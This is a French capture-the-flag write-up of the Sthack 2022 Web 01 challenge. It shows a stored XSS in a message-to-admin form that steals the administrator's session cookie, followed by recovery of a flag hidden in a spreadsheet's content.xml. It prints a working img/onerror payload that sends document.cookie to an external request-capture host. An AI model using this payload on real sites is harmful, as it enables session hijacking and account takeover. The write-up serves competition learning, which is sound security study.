Sthack 2022 / Web 01
May 20, 2022Challenge web-01
Pour ce premier challenge de la Sthack 2022, nous accédons à un site qui nous indique que nous ne sommes pas administrateur de celui-ci et sur lequel nous pouvons poser une question à l’administrateur du site au travers d’un message.
En analysant l’application, nous constatons que le cookie de session PHPSESSID
ne possède pas l’attribut HttpOnly
.
Le fait qu’on puisse envoyer un message à l’administrateur du site et que le cookie de session ne possède pas l’attribut HttpOnly
nous fait donc supposer que le but du challenge est de récupérer le cookie de l’administrateur en exploitant une vulnérabilité XSS sur le formulaire d’envoi de questions.
Après de multiples tentatives d’injections XSS, nous observons que la charge utile suivante fonctionne.
"><img src=x onerror="javascript:alert(1)"></img>
Celle-ci déclenche le code JavaScript contenu dans l’attribut onerror
. Nous la modifions pour qu’une redirection soit effectuée vers un site qui intercepte l’ensemble des requêtes qui lui sont envoyées. Le message suivant est alors envoyé à l’administrateur du site pour qu’il soit lu par ce dernier.
"><img src=x onerror="javascript:document.location='https://sthack2022.free.beeceptor.com?c='+document.cookie"></img>
Après que le message contenant la charge utile ait été envoyé, nous consultons notre intercepteur. Nous retrouvons alors le cookie de l’administrateur.
Une fois le cookie de l’administrateur récupéré, nous l’utilisons à la place du nôtre. En actualisant la page, un message nous indique que nous sommes désormais identifiés comme admin !
Sur la page, en plus du nouveau texte spécifique à l’administrateur, nous notons la présence du bouton Download File. Nous cliquons sur celui-ci et obtenons le fichier retrocomissions.ods qui est un classeur.
En ouvrant le classeur, nous constatons la présence d’une case contenant le mot FLAG
.
Toutefois, la deuxième colonne est vide pour l’ensemble des noms. Un fichier .ods pouvant être considéré comme une archive, nous décidons de l’ouvrir avec notre gestionnaire d’archives.
Le fichier content.xml est le fichier principal qui permet de stocker les données affichées dans le classeur, nous décidons de l’ouvrir. À partir d’une recherche sur le mot FLAG, nous observons qu’une cellule supplémentaire est disponible.
Nous retrouvons ainsi le flag de cette épreuve : xss&httpONLY+WTF
.